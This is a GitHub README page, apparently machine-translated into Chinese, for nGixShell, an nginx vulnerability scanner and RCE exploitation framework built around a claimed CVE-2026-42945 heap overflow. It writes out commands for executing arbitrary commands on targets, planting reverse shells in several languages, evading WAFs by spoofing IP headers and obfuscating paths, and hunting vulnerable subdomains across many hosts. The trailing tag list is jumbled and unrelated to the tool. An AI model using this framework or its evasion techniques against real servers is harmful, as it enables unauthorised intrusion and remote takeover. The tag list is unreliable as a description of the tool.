MateusVerass/nGixshell
GitHub: MateusVerass/nGixshell
这是一个专为 nginx 设计的漏洞扫描与 RCE 利用框架,覆盖 53 个 CVE,帮助安全团队快速检测和利用服务器漏洞。
Stars: 0 | Forks: 0




**nGixShell** 是一个 nginx CVE 扫描器和 RCE 利用框架。它包含一个针对 **CVE-2026-42945**(`ngx_http_rewrite_module` 中的一个严重堆缓冲区溢出)的有效概念验证,以及一个覆盖 **53 个 nginx CVE** 的扫描器,该扫描器支持自动化 HTTP 探测、指纹识别、WAF 检测/绕过、Web 安全审计和报告生成。
零外部依赖。纯 Python 3 标准库实现。
## 快速开始
```
# 启动易受攻击实验室
docker compose -f env/docker-compose.yml up -d
# 自动模式 — 指纹识别 + CVE 扫描 + Web 审计
python3 ngixshell.py 127.0.0.1:19321
# 通过 RCE 执行命令 (CVE-2026-42945)
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id'
# 植入反向 shell(自动检测 IP)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell
# 检测并绕过 WAF,然后扫描
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass
# 子域名扫描
python3 ngixshell.py --subdomain-scan example.com --scan-port 443
# 从文件读取多个目标
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
```
无需额外参数 — 将工具指向一个目标即可自动运行所有功能。
TLS 支持 **自动检测**。即使 `server_tokens off`,也能对 nginx 进行指纹识别。
## 使用方法
```
python3 ngixshell.py [TARGET] [OPTIONS]
TARGET formats:
127.0.0.1
192.168.1.10:8080
http://192.168.1.10:8080
https://target.local
```
### 模式
| 参数 | 描述 |
|---|---|
| *(无)* | **自动** — 指纹识别 + CVE 扫描 + Web 审计 |
| `--cmd 'CMD'` | 通过 CVE-2026-42945 RCE 执行命令 |
| `--cmd-file FILE` | 从文件执行命令(以 `;` 连接) |
| `--shell` | 弹出反向 shell |
| `--shell-type TYPE` | Payload 类型: `bash` `python` `perl` `php` `nc` `powershell` (默认: `python`) |
| `--upgrade-shell` | shell 连接后自动发送 PTY 升级 |
| `--subdomain-scan DOMAIN` | 在子域名上查找存在漏洞的 nginx |
| `--cve CVE-ID` | 测试单个特定 CVE |
| `--list-cves` | 列出全部 53 个 CVE 及其 CVSS 和探测信息 |
| `--list-candidates` | 列出堆地址候选 |
| `--dry-run` | 仅指纹识别 + 扫描,不进行利用 |
| `--target-file FILE` | 从文件扫描多个主机 |
### WAF 检测与绕过
| 参数 | 描述 |
|---|---|
| `--waf-detect` | 扫描前检测 WAF |
| `--waf-bypass` | 启用所有绕过技术(也会运行检测) |
| `--waf-ip IP` | 在绕过头部中伪造此 IP (默认: 随机 RFC1918 地址) |
**绕过技术**(设置 `--waf-bypass` 时全部激活):
| 技术 | 详情 |
|---|---|
| IP 伪装 | `X-Forwarded-For`, `X-Real-IP`, `X-Originating-IP`, `True-Client-IP`, `X-Remote-IP`, `X-Client-IP` |
| UA 轮换 | 11 种真实浏览器/机器人 User-Agent,每个请求随机选择 |
| 路径混淆 | 双斜杠、`./` 填充、百分号编码、大小写变化 |
| 头部名大小写随机化 | 随机化头部名称大小写以破坏 WAF 模式匹配 |
**可检测的 WAF:** Cloudflare, AWS WAF, Akamai, Imperva/Incapsula, ModSecurity, F5 BIG-IP ASM, Sucuri, Barracuda, NAXSI, Fastly, Wordfence
### Web 审计
在扫描模式下自动运行。所有模块均可单独跳过。
| 参数 | 描述 |
|---|---|
| `--skip-headers` | 跳过 HTTP 安全头部审计 |
| `--skip-paths` | 跳过路径/文件发现 |
| `--skip-vhosts` | 跳过虚拟主机枚举 |
| `--skip-tls` | 跳过 TLS 协议审计 |
| `--path-wordlist FILE` | 用于探测的额外路径(每行一个) |
- **头部审计** — HSTS, CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy,以及泄露版本的头部
- **路径发现** — 50 多个路径;哨兵探测可消除由全匹配 403/301 规则产生的误报
- **虚拟主机枚举** — 需要状态码和响应体差异同时存在,以避免默认阻塞的误报
- **TLS 审计** — 测试 TLS 1.0–1.3 支持、证书过期和自签名检测
- **stub_status** — 如果暴露,解析 `/nginx_status` 中的活跃连接指标
### 连接
| 参数 | 描述 |
|---|---|
| `--port PORT` | 覆盖端口 |
| `--tls` | 强制使用 TLS(默认自动检测) |
| `--proxy URL` | 代理: `http://`, `https://`, `socks5://` |
### HTTP
| 参数 | 描述 |
|---|---|
| `--user-agent UA` | 自定义 User-Agent |
| `--auth USER:PASS` | HTTP Basic 认证 |
| `--cookie VALUE` | Cookie 头 |
| `--header NAME:VALUE` | 额外头部(可重复) |
### 速率/时序
| 参数 | 描述 |
|---|---|
| `--rate-limit RPS` | 每秒最大请求数 |
| `--jitter MS` | 请求间随机延迟 0–MS 毫秒 |
| `--retry N` | 重试不确定探测 (默认: 1) |
| `--timeout-multiplier X` | 缩放所有超时时间 (默认: 1.0) |
### 输出
| 参数 | 描述 |
|---|---|
| `--output FILE` | 将日志写入文件 |
| `--json` | 结束时打印 JSON 摘要 |
| `--html-report [FILE]` | 生成 HTML 报告 (默认: `ngixshell_标签:C2日志可视化, CISA项目, Docker, HTTPS安全, nginx, Python, TLS, Web安全, Web服务器安全, 代码生成, 反取证, 子域扫描, 安全评估, 安全防御评估, 密码管理, 指纹识别, 插件系统, 无后门, 无线安全, 渗透测试工具, 漏洞利用框架, 编程工具, 网络安全, 蓝队分析, 请求拦截, 远程代码执行, 逆向工具, 防御工具, 隐私保护